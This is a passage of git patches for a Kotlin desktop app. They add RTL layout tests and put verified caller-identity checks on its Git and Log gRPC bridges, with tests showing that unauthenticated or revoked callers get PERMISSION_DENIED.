b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt index f6edaa6116..28d32ee38d 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt @@ -1,7 +1,12 @@ package ai.rever.boss.components.overlays +import ai.rever.boss.components.window_panel.components.main_window_panels.besideLeadingRail +import androidx.compose.ui.AbsoluteAlignment import androidx.compose.ui.Alignment +import androidx.compose.ui.BiasAlignment import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import kotlin.test.Test import kotlin.test.assertEquals @@ -33,6 +38,12 @@ class HeavyweightCornerTest { assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopStart)) } + @Test + fun `start and end follow right to left layout direction`() { + assertEquals(668 to 50, cornerPosition(parent, size, Alignment.TopStart, LayoutDirection.Rtl)) + assertEquals(100 to 50, cornerPosition(parent, size, Alignment.TopEnd, LayoutDirection.Rtl)) + } + @Test fun `bottom end offsets by both slacks`() { assertEquals(668 to 650, cornerPosition(parent, size, Alignment.BottomEnd)) @@ -43,6 +54,13 @@ class HeavyweightCornerTest { assertEquals(384 to 350, cornerPosition(parent, size, Alignment.Center)) } + @Test + fun `fractional sizes round instead of clipping a pixel`() { + val fractional = DpSize(432.6.dp, 200.6.dp) + + assertEquals(667 to 649, cornerPosition(parent, fractional, Alignment.BottomEnd)) + } + @Test fun `content larger than the parent overhangs bottom-right rather than escaping top-left`() { // A negative slack would put the toast above and left of the window, where it is off screen @@ -154,4 +172,42 @@ class HeavyweightCornerTest { // the only available bound - the same choice the previous clamp made. assertEquals(DpSize(432.dp, 600.dp), regionCeiling(null, DpSize(432.dp, 600.dp))) } + + @Test + fun `RTL end inset moves the left edge and preserves the right edge`() { + val region = resolveRegion(parent, DpSize(48.dp, 24.dp), null, LayoutDirection.Rtl) + assertEquals(listOf(148, 50, 952, 776), region?.toList()) + assertEquals(148 to 626, cornerPosition(region, size, Alignment.BottomEnd, LayoutDirection.Rtl)) + assertEquals(668 to 50, cornerPosition(region, size, Alignment.TopStart, LayoutDirection.Rtl)) + } + + @Test + fun `RTL drawer stays beside the retained right rail within the explicit panel`() { + val panel = IntRect(40, 12, 520, 612).besideLeadingRail(36.dp, LayoutDirection.Rtl) + assertEquals(IntRect(40, 12, 484, 612), panel) + val region = resolveRegion(parent, DpSize.Zero, panel, LayoutDirection.Rtl) + assertEquals(384 to 62, cornerPosition(region, DpSize(200.dp, 100.dp), Alignment.TopStart, LayoutDirection.Rtl)) + val narrow = IntRect(40, 12, 50, 612).besideLeadingRail(36.dp, LayoutDirection.Rtl) + assertEquals(narrow.left, narrow.right) + } + + @Test + fun `RTL oversized content clamps inside the inset region`() { + val region = insetBounds(parent, DpSize(48.dp, 24.dp), LayoutDirection.Rtl) + val huge = DpSize(2000.dp, 2000.dp) + assertEquals(148 to 50, cornerPosition(region, huge, Alignment.TopStart, LayoutDirection.Rtl)) + assertEquals(148 to 50, cornerPosition(region, huge, Alignment.BottomEnd, LayoutDirection.Rtl)) + } + + @Test + fun `absolute alignment does not mirror and custom bias is honored`() { + assertEquals(100 to 50, cornerPosition(parent, size, AbsoluteAlignment.TopLeft, LayoutDirection.Rtl)) + assertEquals(526 to 350, cornerPosition(parent, size, BiasAlignment(0.5f, 0f))) + } + + @Test + fun `odd center slack and fractional round down follow Compose`() { + assertEquals(385 to 350, cornerPosition(intArrayOf(100, 50, 1001, 800), size, Alignment.Center)) + assertEquals(668 to 650, cornerPosition(parent, DpSize(432.4.dp, 200.4.dp), Alignment.BottomEnd)) + } } From cf220649c67766e03e11ab85bd8dcecdee4afe0d Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:54:44 +0530 Subject: [PATCH 16/28] fix(kernel): require verified caller identity for the Git bridge (#635) * fix(kernel): require verified caller identity for the Git bridge GitServiceBridge had no caller-identity check on any of its fourteen RPCs. Any process able to open a connection to the kernel IPC server - not only the plugins the host itself loaded - could read the open project's full commit history and working-tree status, and could discardChanges (destroying uncommitted work), checkout, cherryPick or revert against the project's real git repository with no credential at all. Gate every RPC behind authenticatedCallerOrRefuse(), the same PERMISSION_DENIED-on-no-identity pattern PluginUIServiceBridge established for BossConsole#53. The four watch streams (file status, commit log, is-repo, is-loading) capture identity synchronously before returning and re-check it on every emission, so a revoked token stops a live stream rather than only new calls - matching the shape PR #550's review settled on for this bridge's siblings. * style(tests): wrap chained builder calls in GitServiceBridgeTest Real CI's ktlintDesktopTestSourceSetCheck flagged chain-method-continuation violations (a local run had missed this) - wrap the affected builder chains onto their own lines, per ktlintFormat. No behavior change. * test(kernel): cover revoked callers and log stream refusals --------- Co-authored-by: Shivang --- .../boss/kernel/services/GitServiceBridge.kt | 141 ++++++-- .../kernel/services/GitServiceBridgeTest.kt | 303 ++++++++++++++++++ 2 files changed, 425 insertions(+), 19 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt index 51584df806..bdc533ca0c 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/GitServiceBridge.kt @@ -1,18 +1,43 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.Empty import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.GitDataProvider import ai.rever.boss.plugin.api.GitOperationResultData +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow +/** + * Kernel-side bridge for `GitService`. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. Stream revocation is checked + * before each emission; an idle revoked stream is not proactively disconnected. Before this, any process able to + * open a connection to the kernel IPC server - not only the plugins the host itself loaded - + * could read the open project's full commit history and working-tree status, and could + * [discardChanges] (destroying uncommitted work), [checkout], [cherryPick] or [revert] against + * the project's real git repository with no credential at all. + */ +// One method per RPC the generated service base class declares, plus one small private helper. +@Suppress("TooManyFunctions") class GitServiceBridge( private val provider: GitDataProvider, ) : GitServiceGrpcKt.GitServiceCoroutineImplBase() { - override fun watchFileStatus(request: Empty): Flow = - flow { + override fun watchFileStatus(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchFileStatus") provider.fileStatus.collect { statuses -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchFileStatus") + } emit( GitFileStatusListResponse .newBuilder() @@ -31,10 +56,18 @@ class GitServiceBridge( ) } } + } - override fun watchCommitLog(request: Empty): Flow = - flow { + override fun watchCommitLog(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchCommitLog") provider.commitLog.collect { commits -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchCommitLog") + } emit( GitCommitLogResponse .newBuilder() @@ -55,59 +88,123 @@ class GitServiceBridge( ) } } + } - override fun watchIsGitRepo(request: Empty): Flow = - flow { + override fun watchIsGitRepo(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchIsGitRepo") provider.isGitRepository.collect { isRepo -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchIsGitRepo") + } emit(BoolResponse.newBuilder().setValue(isRepo).build()) } } + } - override fun watchIsLoading(request: Empty): Flow = - flow { + override fun watchIsLoading(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchIsLoading") provider.isLoading.collect { loading -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchIsLoading") + } emit(BoolResponse.newBuilder().setValue(loading).build()) } } + } override suspend fun refreshStatus(request: Empty): Empty { + authenticatedCallerOrRefuse("refreshStatus") provider.refreshStatus() return Empty.getDefaultInstance() } override suspend fun refreshLog(request: RefreshLogRequest): Empty { + authenticatedCallerOrRefuse("refreshLog") provider.refreshLog(request.limit) return Empty.getDefaultInstance() } - override suspend fun stage(request: GitFilePathRequest): GitOperationResultProto = provider.stage(request.path).toProto() + override suspend fun stage(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("stage") + return provider.stage(request.path).toProto() + } - override suspend fun unstage(request: GitFilePathRequest): GitOperationResultProto = provider.unstage(request.path).toProto() + override suspend fun unstage(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("unstage") + return provider.unstage(request.path).toProto() + } - override suspend fun stageAll(request: Empty): GitOperationResultProto = provider.stageAll().toProto() + override suspend fun stageAll(request: Empty): GitOperationResultProto { + authenticatedCallerOrRefuse("stageAll") + return provider.stageAll().toProto() + } - override suspend fun unstageAll(request: Empty): GitOperationResultProto = provider.unstageAll().toProto() + override suspend fun unstageAll(request: Empty): GitOperationResultProto { + authenticatedCallerOrRefuse("unstageAll") + return provider.unstageAll().toProto() + } - override suspend fun discardChanges(request: GitFilePathRequest): GitOperationResultProto = - provider.discardChanges(request.path).toProto() + override suspend fun discardChanges(request: GitFilePathRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("discardChanges") + return provider.discardChanges(request.path).toProto() + } - override suspend fun cherryPick(request: GitHashRequest): GitOperationResultProto = provider.cherryPick(request.hash).toProto() + override suspend fun cherryPick(request: GitHashRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("cherryPick") + return provider.cherryPick(request.hash).toProto() + } - override suspend fun revert(request: GitHashRequest): GitOperationResultProto = provider.revert(request.hash).toProto() + override suspend fun revert(request: GitHashRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("revert") + return provider.revert(request.hash).toProto() + } - override suspend fun checkout(request: GitRefRequest): GitOperationResultProto = provider.checkout(request.ref).toProto() + override suspend fun checkout(request: GitRefRequest): GitOperationResultProto { + authenticatedCallerOrRefuse("checkout") + return provider.checkout(request.ref).toProto() + } - override suspend fun getCurrentProjectPath(request: Empty): StringResponse = - StringResponse + override suspend fun getCurrentProjectPath(request: Empty): StringResponse { + authenticatedCallerOrRefuse("getCurrentProjectPath") + return StringResponse .newBuilder() .setValue(provider.getCurrentProjectPath() ?: "") .build() + } override suspend fun openFile(request: GitOpenFileRequest): Empty { + authenticatedCallerOrRefuse("openFile") provider.openFile(request.filePath, request.windowId) return Empty.getDefaultInstance() } + /** + * Unary RPCs only: the verified per-call identity, or `PERMISSION_DENIED`. + * Streams must capture CURRENT_IDENTITY synchronously and recheck it before each emission. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: refuseIdentity(rpc) + + private fun refuseIdentity(rpc: String): Nothing { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no current verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + private fun GitOperationResultData.toProto(): GitOperationResultProto = when (this) { is GitOperationResultData.Success -> { @@ -126,4 +223,10 @@ class GitServiceBridge( .build() } } + + private companion object { + val logger = BossLogger.forComponent("GitServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt new file mode 100644 index 0000000000..fcd23b74cb --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/GitServiceBridgeTest.kt @@ -0,0 +1,303 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.Empty +import ai.rever.boss.ipc.proto.services.GitFilePathRequest +import ai.rever.boss.ipc.proto.services.GitHashRequest +import ai.rever.boss.ipc.proto.services.GitOpenFileRequest +import ai.rever.boss.ipc.proto.services.GitRefRequest +import ai.rever.boss.ipc.proto.services.GitServiceGrpcKt +import ai.rever.boss.ipc.proto.services.RefreshLogRequest +import ai.rever.boss.plugin.api.GitCommitInfoData +import ai.rever.boss.plugin.api.GitDataProvider +import ai.rever.boss.plugin.api.GitFileStatusData +import ai.rever.boss.plugin.api.GitOperationResultData +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.async +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.take +import kotlinx.coroutines.flow.toList +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.supervisorScope +import kotlinx.coroutines.withTimeout +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * The Git bridge, exercised over a real gRPC server (BossConsole#53). + * + * Before this bridge checked identity, any process able to open a connection to the kernel IPC + * server - not only the plugins the host itself loaded - could read the open project's full + * commit history and working-tree status, and could [GitServiceBridge.discardChanges] (destroying + * uncommitted work), [GitServiceBridge.checkout], [GitServiceBridge.cherryPick] or + * [GitServiceBridge.revert] against the real repository with no credential at all. + */ +class GitServiceBridgeTest { + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var provider: FakeGitDataProvider + private lateinit var server: Server + private lateinit var authenticatedChannel: ManagedChannel + private lateinit var anonymousChannel: ManagedChannel + private lateinit var authenticated: GitServiceGrpcKt.GitServiceCoroutineStub + private lateinit var anonymous: GitServiceGrpcKt.GitServiceCoroutineStub + + @BeforeTest + fun setUp() { + tokenRegistry = ProcessTokenRegistry() + provider = FakeGitDataProvider() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(GitServiceBridge(provider)) + .build() + .start() + authenticatedChannel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + anonymousChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + authenticated = GitServiceGrpcKt.GitServiceCoroutineStub(authenticatedChannel) + anonymous = GitServiceGrpcKt.GitServiceCoroutineStub(anonymousChannel) + } + + @AfterTest + fun tearDown() { + authenticatedChannel.shutdownNow() + authenticatedChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + anonymousChannel.shutdownNow() + anonymousChannel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + @Test + fun `every RPC is refused with no credential, and never reaches the repository`() = + runBlocking { + assertRefused { anonymous.watchFileStatus(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchCommitLog(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchIsGitRepo(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.watchIsLoading(Empty.getDefaultInstance()).take(1).toList() } + assertRefused { anonymous.refreshStatus(Empty.getDefaultInstance()) } + assertRefused { anonymous.refreshLog(RefreshLogRequest.newBuilder().setLimit(10).build()) } + assertRefused { anonymous.stage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.unstage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.stageAll(Empty.getDefaultInstance()) } + assertRefused { anonymous.unstageAll(Empty.getDefaultInstance()) } + assertRefused { anonymous.discardChanges(GitFilePathRequest.newBuilder().setPath("a.kt").build()) } + assertRefused { anonymous.cherryPick(GitHashRequest.newBuilder().setHash("abc123").build()) } + assertRefused { anonymous.revert(GitHashRequest.newBuilder().setHash("abc123").build()) } + assertRefused { anonymous.checkout(GitRefRequest.newBuilder().setRef("main").build()) } + assertRefused { anonymous.getCurrentProjectPath(Empty.getDefaultInstance()) } + assertRefused { + anonymous.openFile( + GitOpenFileRequest + .newBuilder() + .setFilePath("a.kt") + .setWindowId("w1") + .build(), + ) + } + + assertTrue(provider.calls.isEmpty(), "a refused call must never reach the repository provider") + } + + @Test + fun `an authenticated caller can watch status and read the repository`() = + runBlocking { + provider.setFileStatus(listOf(fileStatus("a.kt"))) + provider.setCommitLog(listOf(commit("abc123"))) + provider.projectPath = "/repo" + + val status = + authenticated + .watchFileStatus(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("a.kt", status.filesList.single().path) + + val log = + authenticated + .watchCommitLog(Empty.getDefaultInstance()) + .take(1) + .toList() + .single() + assertEquals("abc123", log.commitsList.single().hash) + + val path = authenticated.getCurrentProjectPath(Empty.getDefaultInstance()) + assertEquals("/repo", path.value) + } + + @Test + fun `an authenticated caller can mutate the repository`() = + runBlocking { + authenticated.stage(GitFilePathRequest.newBuilder().setPath("a.kt").build()) + authenticated.checkout(GitRefRequest.newBuilder().setRef("main").build()) + authenticated.discardChanges(GitFilePathRequest.newBuilder().setPath("a.kt").build()) + + assertEquals(listOf("stage:a.kt", "checkout:main", "discardChanges:a.kt"), provider.calls) + } + + @Test + fun `revoked credentials cannot invoke a unary operation`() = + runBlocking { + tokenRegistry.revoke(CALLER) + val failure = assertFailsWith { authenticated.stageAll(Empty.getDefaultInstance()) } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `revoked watcher cannot receive a later snapshot`() = + runBlocking { + withTimeout(10_000) { + supervisorScope { + val received = Channel(Channel.UNLIMITED) + val watching = + async { + authenticated.watchFileStatus(Empty.getDefaultInstance()).collect { received.send(Unit) } + } + try { + received.receive() + tokenRegistry.revoke(CALLER) + provider.setFileStatus(listOf(fileStatus("after-revocation.kt"))) + val failure = assertFailsWith { watching.await() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(received.tryReceive().isFailure, "revocation must prevent the next snapshot") + } finally { + watching.cancel() + received.close() + } + } + } + } + + private suspend fun assertRefused(call: suspend () -> Unit) { + val failure = assertFailsWith { call() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + } + + private fun fileStatus(path: String): GitFileStatusData = + GitFileStatusData( + path = path, + indexStatus = null, + workTreeStatus = null, + isStaged = false, + isUnstaged = true, + ) + + private fun commit(hash: String): GitCommitInfoData = + GitCommitInfoData( + hash = hash, + shortHash = hash.take(7), + subject = "subject", + author = "author", + authorEmail = "author@example.com", + date = 0L, + refs = emptyList(), + ) + + /** Records every method it was actually asked to perform, so a refusal can be proven silent. */ + private class FakeGitDataProvider : GitDataProvider { + val calls = mutableListOf() + var projectPath: String? = null + private val _fileStatus = MutableStateFlow>(emptyList()) + override val fileStatus: StateFlow> = _fileStatus + private val _commitLog = MutableStateFlow>(emptyList()) + override val commitLog: StateFlow> = _commitLog + private val _isGitRepository = MutableStateFlow(true) + override val isGitRepository: StateFlow = _isGitRepository + private val _isLoading = MutableStateFlow(false) + override val isLoading: StateFlow = _isLoading + + fun setFileStatus(statuses: List) { + _fileStatus.value = statuses + } + + fun setCommitLog(commits: List) { + _commitLog.value = commits + } + + override suspend fun refreshStatus() { + calls += "refreshStatus" + } + + override suspend fun refreshLog(limit: Int) { + calls += "refreshLog" + } + + override suspend fun stage(filePath: String): GitOperationResultData { + calls += "stage:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun unstage(filePath: String): GitOperationResultData { + calls += "unstage:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun stageAll(): GitOperationResultData { + calls += "stageAll" + return GitOperationResultData.Success(null) + } + + override suspend fun unstageAll(): GitOperationResultData { + calls += "unstageAll" + return GitOperationResultData.Success(null) + } + + override suspend fun discardChanges(filePath: String): GitOperationResultData { + calls += "discardChanges:$filePath" + return GitOperationResultData.Success(null) + } + + override suspend fun cherryPick(commitHash: String): GitOperationResultData { + calls += "cherryPick:$commitHash" + return GitOperationResultData.Success(null) + } + + override suspend fun revert(commitHash: String): GitOperationResultData { + calls += "revert:$commitHash" + return GitOperationResultData.Success(null) + } + + override suspend fun checkout(ref: String): GitOperationResultData { + calls += "checkout:$ref" + return GitOperationResultData.Success(null) + } + + override fun getCurrentProjectPath(): String? { + calls += "getCurrentProjectPath" + return projectPath + } + + override fun openFile( + filePath: String, + windowId: String, + ) { + calls += "openFile:$filePath" + } + } + + private companion object { + const val CALLER = "git-panel-plugin" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} From c89611bcd579e63a29efa1c4dba0d0ea81027884 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 13:55:35 +0530 Subject: [PATCH 17/28] fix(kernel): require verified caller identity for the Log bridge (#645) * fix(kernel): require verified caller identity for the Log bridge LogServiceBridge had no caller-identity check on any of its nine RPCs. Any process able to open a connection to the kernel IPC server - not only the plugins the host itself loaded - could watchLogs to see the live stdout/stderr stream of the running BOSS process, or call exportLogs to pull its full history, with no credential at all. Unlike a bridge whose values are deliberately routed through LogSanitizer at the call site, nothing about this stream is scrubbed for IPC exposure - it is whatever every logger.info/warn/error call site across this large and growing codebase happened to write, which is not a guarantee that none of it is a stack trace, a file path, or something else nobody meant to expose to an arbitrary local process. Gate every RPC behind authenticatedCallerOrRefuse(), the same PERMISSION_DENIED-on-no-identity pattern PluginUIServiceBridge established for BossConsole#53. The four watch streams capture identity synchronously before returning and re-check it on every emission, matching the shape PR #550's review settled on for this bridge's siblings. * test(kernel): verify revocation and diagnose stream refusals --------- Co-authored-by: Shivang --- .../boss/kernel/services/LogServiceBridge.kt | 99 ++++++++- .../kernel/services/LogServiceBridgeTest.kt | 207 ++++++++++++++++++ 2 files changed, 298 insertions(+), 8 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt index 2e76c2fc93..21ca81fd0a 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/LogServiceBridge.kt @@ -1,18 +1,47 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.Empty import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.LogDataProvider import ai.rever.boss.plugin.api.LogFilterData +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow +/** + * Revocation is checked before each emission; idle streams are not proactively disconnected. + * + * Kernel-side bridge for `LogService`. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. [watchLogs] and [exportLogs] are why + * this matters more than most of this bridge's siblings: they hand out the live and full-history + * stdout/stderr stream of the running BOSS process, unfiltered by anything short of what each + * individual `logger.info`/`warn`/`error` call site happened to sanitize on its own - not a + * guarantee that every line in a large, ever-growing codebase is free of stack traces, file paths + * or other data nobody meant to expose over IPC. Before this bridge checked identity at all, any + * process able to open a connection to the kernel IPC server - not only the plugins the host + * itself loaded - could watch or export it. + */ +// One method per RPC the generated service base class declares, plus one small private helper. +@Suppress("TooManyFunctions") class LogServiceBridge( private val provider: LogDataProvider, ) : LogServiceGrpcKt.LogServiceCoroutineImplBase() { - override fun watchLogs(request: Empty): Flow = - flow { + override fun watchLogs(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchLogs") provider.logs.collect { logs -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchLogs") + } emit( LogListResponse .newBuilder() @@ -33,10 +62,18 @@ class LogServiceBridge( ) } } + } - override fun watchFilter(request: Empty): Flow = - flow { + override fun watchFilter(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchFilter") provider.filter.collect { filter -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchFilter") + } emit( LogFilterProto .newBuilder() @@ -50,22 +87,40 @@ class LogServiceBridge( ) } } + } - override fun watchSearchQuery(request: Empty): Flow = - flow { + override fun watchSearchQuery(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchSearchQuery") provider.searchQuery.collect { query -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchSearchQuery") + } emit(LogStringResponse.newBuilder().setValue(query).build()) } } + } - override fun watchAutoScroll(request: Empty): Flow = - flow { + override fun watchAutoScroll(request: Empty): Flow { + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: refuseIdentity("watchAutoScroll") provider.autoScroll.collect { enabled -> + if (currentIdentity.invoke() != caller) { + refuseIdentity("watchAutoScroll") + } emit(LogBoolResponse.newBuilder().setValue(enabled).build()) } } + } override suspend fun setFilter(request: LogFilterProto): Empty { + authenticatedCallerOrRefuse("setFilter") val filter = when (request.filter) { LogFilterType.LOG_FILTER_TYPE_STDOUT -> LogFilterData.STDOUT @@ -77,22 +132,50 @@ class LogServiceBridge( } override suspend fun setSearchQuery(request: LogStringRequest): Empty { + authenticatedCallerOrRefuse("setSearchQuery") provider.setSearchQuery(request.value) return Empty.getDefaultInstance() } override suspend fun toggleAutoScroll(request: Empty): Empty { + authenticatedCallerOrRefuse("toggleAutoScroll") provider.toggleAutoScroll() return Empty.getDefaultInstance() } override suspend fun clearLogs(request: Empty): Empty { + authenticatedCallerOrRefuse("clearLogs") provider.clearLogs() return Empty.getDefaultInstance() } override suspend fun exportLogs(request: Empty): LogStringResponse { + authenticatedCallerOrRefuse("exportLogs") val result = provider.exportLogs() return LogStringResponse.newBuilder().setValue(result).build() } + + /** + * Unary RPCs only: the verified identity, or a thrown `PERMISSION_DENIED` when there is none. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: refuseIdentity(rpc) + + private fun refuseIdentity(rpc: String): Nothing { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no current verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + + private companion object { + val logger = BossLogger.forComponent("LogServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt new file mode 100644 index 0000000000..0ba6571753 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/LogServiceBridgeTest.kt @@ -0,0 +1,207 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.Empty +import ai.rever.boss.ipc.proto.services.LogFilterProto +import ai.rever.boss.ipc.proto.services.LogServiceGrpcKt +import ai.rever.boss.ipc.proto.services.LogStringRequest +import ai.rever.boss.plugin.api.LogDataProvider +import ai.rever.boss.plugin.api.LogEntryData +import ai.rever.boss.plugin.api.LogFilterData +import ai.rever.boss.plugin.api.LogSourceData +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.async +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.take +import kotlinx.coroutines.flow.toList +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.supervisorScope +import kotlinx.coroutines.withTimeout +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import 